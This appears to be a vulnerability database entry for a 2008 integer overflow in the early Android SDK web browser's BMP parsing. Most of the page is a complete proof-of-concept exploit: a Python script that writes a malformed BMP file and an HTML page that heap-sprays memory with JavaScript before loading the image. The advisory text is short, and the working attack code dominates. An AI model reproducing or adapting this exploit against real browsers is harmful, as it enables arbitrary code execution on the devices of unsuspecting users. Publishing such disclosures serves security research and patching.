Google Android Web Browser - '.BMP' File Integer Overflow

🗓️ 04 Mar 2008 00:00:00Reported by Alfredo OrtegaType

Google Android Web Browser - '.BMP' File Integer Overflow. User-supplied data handling vulnerability allowing arbitrary code execution and denial-of-service conditions

source: https://www.securityfocus.com/bid/28006/info

Android Web Browser is prone to an integer-overflow vulnerability because it fails to adequately handle user-supplied data.

Attackers can exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts will likely cause denial-of-service conditions.

This issue affects Android SDK m5-rc14 and earlier. 

# This script generates a Bitmap file that makes the Android browser
jump to the address at 0xffffff+0x10
# Must be loaded inside a HTML file with a tag like this: <IMG
src=badbmp.bmp>
# Alfredo Ortega - Core Security
import struct

offset = 0xffef0000
width = 0x0bffff
height=8

bmp ="\x42\x4d\xff\x00\x00\x00\x00\x00\x00\x00"
bmp+=struct.pack("<I",offset)
bmp+="\x28\x00\x00\x00"
bmp+=struct.pack("<I",width)
bmp+=struct.pack("<I",height)
bmp+="\x03\x00\x08\x00\x00\x00"
bmp+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
bmp+="\x00\x00\x00\x00\x00\x00\x00\x55\x02\xff\x00\x02\x00\x02\x02\xff"
bmp+="\xff\x11\xff\x33\xff\x55\xff\x66\xff\x77\xff\x88\x41\x41\x41\x41"
bmp+="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
bmp+="\x41\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
bmp+="\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
open("badbmp.bmp","wb").write(bmp)

The complete exploit page follows:


<HTML>
<HEAD>
</HEAD>
<BODY>
<script type="text/javascript">
// Fill 0x200000 - 0xa00000 with Breakpoints
var nop = unescape("%u0001%uef9f");
while (nop.length <= 0x100000/2) nop += nop;
var i = 0;
for (i = 0;i<5;i++)
  document.write(nop)

// Fill 0xa00000 - 0x1100000 with address 0x00400040
var nop = unescape("%u4000%u4000");
while (nop.length <= 0x100000/2) nop += nop;
var i = 0;
for (i = 0;i<2;i++)
  document.write(nop)
</script>
<IMG src=badbmp.bmp>
</BODY>
</HTML>

04 Mar 2008 00:00Current

7.4High risk

Vulners AI Score7.4

Google Android Web Browser - &#039;.BMP&#039; File Integer Overflow

Google Android Web Browser - '.BMP' File Integer Overflow